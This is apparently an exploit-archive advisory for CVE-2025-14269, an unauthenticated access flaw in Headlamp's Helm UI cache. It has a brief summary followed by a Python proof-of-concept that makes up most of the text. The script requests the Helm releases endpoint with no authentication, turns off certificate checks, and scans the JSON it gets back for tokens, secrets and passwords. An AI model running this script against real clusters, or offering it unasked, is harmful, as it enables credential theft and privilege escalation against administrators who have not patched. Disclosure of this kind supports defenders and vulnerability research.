============================================================================================================================================= | # Title : Headlamp 0.38.0 Unauthenticated Cached Credentials Access in Helm UI | | # Author : indoushka4ever@gmail.com | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://headlamp.dev | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213051/ & CVE-2025-14269 [+] Summary : a significant security vulnerability in the in-cluster version of the Headlamp Kubernetes dashboard (versions ≤ v0.38.0). The flaw allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching. Core Mechanism: When Helm functionality is enabled (config.enableHelm: true), the server caches the API response from the /clusters/main/helm/releases/list endpoint after an authorized user first visits the Helm page. Subsequent unauthenticated requests to the same endpoint receive this cached data without authorization checks. [+] Impact : This vulnerability can lead to credential leakage and potential privilege escalation, granting unauthorized users access to sensitive cluster or registry credentials. [+] POC : #!/usr/bin/env python3 """ Proof of Concept (PoC) for CVE-2025-14269 Vulnerability: Unauthenticated cached credentials access in Headlamp's Helm UI. Author: indoushka Usage: python3 poc.py """ import sys import requests import json import argparse from urllib.parse import urljoin # تعطيل تحذيرات SSL لأغراض الاختبار (يمكن أن يكون الهدف يستخدم شهادة ذاتية التوقيع) requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def exploit_target(target_url): """ يرسل طلبًا غير مصرح به إلى مسار Helm الخاص بـ Headlamp ويحاول استخراج البيانات الحساسة. """ # نقطة النهاية المستهدفة helm_endpoint = "/clusters/main/helm/releases/list" full_url = urljoin(target_url, helm_endpoint) print(f"[*] استهداف: {target_url}") print(f"[*] اختبار الثغرة في: {full_url}") print("[*] إرسال طلب GET غير مصادق...") try: # 1. إرسال الطلب بدون مصادقة أو ملفات تعريف ارتباط response = requests.get(full_url, verify=False, timeout=10) # 2. التحقق من نجاح الاستجابة if response.status_code == 200: print(f"[+] نجاح! استجابة تم الحصول عليها (الحالة: {response.status_code})") # 3. محاولة تحليل الاستجابة كـ JSON (التنسيق المتوقع للبيانات الحساسة) try: data = response.json() print("[+] تم تحليل الاستجابة كـ JSON بنجاح.") print("[+] فحص البيانات المسترجعة للعثور على معلومات حساسة...") # 4. دالة مساعدة متكررة للبحث عن قيم تبدو حساسة (مفاتيح، رموز، كلمات مرور) def find_sensitive(data, path=""): findings = [] if isinstance(data, dict): for key, value in data.items(): new_path = f"{path}.{key}" if path else key # البحث عن مفاتيح باسماء تدل على حساسيتها sensitive_keywords = ['token', 'secret', 'password', 'key', 'credential', 'auth'] if any(kw in key.lower() for kw in sensitive_keywords): findings.append((new_path, value)) findings.extend(find_sensitive(value, new_path)) elif isinstance(data, list): for i, item in enumerate(data): new_path = f"{path}[{i}]" findings.extend(find_sensitive(item, new_path)) return findings sensitive_items = find_sensitive(data) if sensitive_items: print("[!] *** تم العثور على معلومات حساسة محتملة في الذاكرة المؤقتة! ***") for path, value in sensitive_items: # إخفاء القيمة جزئيًا للأمان if value and isinstance(value, str): masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****" else: masked = "****" print(f" المسار: {path}") print(f" القيمة (مخفية): {masked}\n") else: print("[-] لم يتم العثور على معلومات حساسة واضحة في بيانات JSON.") # 5. عرض عينة من البيانات لفحصها يدويًا print("\n[*] عينة من البيانات الخام (أول 500 حرف):") sample = json.dumps(data, indent=2)[:500] print(sample + ("..." if len(json.dumps(data)) > 500 else "")) except json.JSONDecodeError: print("[!] الاستجابة ليست بصيغة JSON. قد تكون البيانات في تنسيق آخر أو قد يكون المسار غير صحيح.") print("[*] عرض أول 200 حرف من الاستجابة الخام:") print(response.text[:200]) elif response.status_code == 403 or response.status_code == 401: print(f"[-] تم رفض الوصول (الحالة: {response.status_code}). قد يكون التطبيق غير معرض أو قد تم مسح ذاكرة التخزين المؤقت.") else: print(f"[-] استجابة غير متوقعة (الحالة: {response.status_code})") except requests.exceptions.ConnectionError: print(f"[-] فشل في الاتصال بـ {target_url}. تحقق من العنوان أو أن الخادم يعمل.") except requests.exceptions.Timeout: print(f"[-] انتهت مهلة الطلب. قد يكون الخادم بطيئًا أو غير متاح.") except Exception as e: print(f"[-] حدث خطأ غير متوقع: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="PoC للثغرة CVE-2025-14269 في Headlamp.") parser.add_argument("target_url", help="الرابط الأساسي لتطبيق Headlamp (مثال: http://headlamp.example.com:4466)") args = parser.parse_args() exploit_target(args.target_url) Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================